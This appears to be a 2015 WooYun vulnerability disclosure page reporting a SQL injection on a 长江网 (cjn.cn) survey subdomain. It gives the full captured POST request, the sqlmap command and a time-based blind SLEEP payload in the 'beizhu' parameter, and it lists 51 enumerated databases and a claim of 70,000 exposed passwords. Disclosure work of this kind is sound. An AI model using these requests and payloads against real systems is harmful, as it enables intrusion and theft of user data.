当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0165888

漏洞标题:长江网某站存在注入漏洞可泄露大量敏感数据

相关厂商:长江网

漏洞作者: 心云

提交时间:2015-12-30 10:39

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-30: 细节已通知厂商并且等待厂商处理中
2015-12-30: 厂商已经确认,细节仅向厂商公开
2016-01-09: 细节向核心白帽子及相关领域专家公开
2016-01-19: 细节向普通白帽子公开
2016-01-29: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

RT

详细说明:

poxt.txt

POST /2013xjj/submit.php HTTP/1.1
Content-Length: 391
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://mindiao.cjn.cn:80/
Cookie: PHPSESSID=vmmpv1si1kbpq33vcpcr05lvc1
Host: mindiao.cjn.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
Submit=%e6%8f%90%20%20%20%e4%ba%a4&beizhu=%e5%8e%9f%e5%88%9b&bianju=1&company=Acunetix&content=1&daoyan=1&jmmc=1&phone=1&realname=jrwfwmba&shouji=1&sjcd=1&typename=%e4%b8%93%e4%b8%9a%e7%bb%84&xjxs=%e8%af%9d%e5%89%a7&yanyuan=1&yclx=%e5%a4%9a%e5%b9%95%e5%89%a7


sqlmap.py -r post.txt --dbs

sqlmap identified the following injection point(s) with a total of 1419 HTTP(s) requests:
---
Parameter: beizhu (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: Submit=%e6%8f%90 %e4%ba%a4&beizhu=%e5%8e%9f%e5%88%9b' AND (SELECT * FROM (SELECT(SLEEP(5)))Yqzd) AND 'gEEt'='gEEt&bianju=1&company=A
e5%a4%9a%e5%b9%95%e5%89%a7
---
[23:00:39] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.27, PHP 5.2.17
back-end DBMS: MySQL 5.0.12
[23:00:39] [INFO] fetching database names
[23:00:39] [INFO] fetching number of databases
[23:00:39] [INFO] retrieved:
[23:00:39] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
51
available databases [51]:
[*] `#mysql50#cjntj.bak`
[*] `#mysql50#cjnvote.bak`
[*] `#mysql50#phpwind.bak`
[*] cc
[*] ccvms
[*] cjnphoto
[*] cjnvote
[*] collabtive
[*] dwz
[*] information_schema
[*] maps
[*] mingpai
[*] mysql
[*] myt
[*] newdata_user
[*] osfc
[*] phpstat_mysql_10_mysql
[*] phpstat_mysql_10_mysql_log
[*] phpstat_mysql_1_mysql
[*] phpstat_mysql_1_mysql_log
[*] phpstat_mysql_2_mysql
[*] phpstat_mysql_2_mysql_log
[*] phpstat_mysql_3_mysql
[*] phpstat_mysql_3_mysql_log
[*] phpstat_mysql_4_mysql
[*] phpstat_mysql_4_mysql_log
[*] phpstat_mysql_5_mysql
[*] phpstat_mysql_5_mysql_log
[*] phpstat_mysql_6_mysql
[*] phpstat_mysql_6_mysql_log
[*] phpstat_mysql_7_mysql
[*] phpstat_mysql_7_mysql_log
[*] phpstat_mysql_8_mysql
[*] phpstat_mysql_8_mysql_log
[*] phpstat_mysql_9_mysql
[*] phpstat_mysql_9_mysql_log
[*] phpstat_mysql_mysql
[*] phpstat_web
[*] phpwind
[*] phpwindcs
[*] test
[*] TriAquae
[*] tweibo
[*] veryvote
[*] vsftpduser
[*] wh4z
[*] whwx
[*] wordpress
[*] xweibo
[*] xweibo2x
[*] zhenhao


涉及整站数据库

漏洞证明:

数据库:

51数据库.png


当前库的表 可导致7万用户密码泄露

cjnvote表.png


密码:

password.png

修复方案:

你们更专业

版权声明:转载请注明来源 心云@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-30 11:02

厂商回复:

谢谢

最新状态:

暂无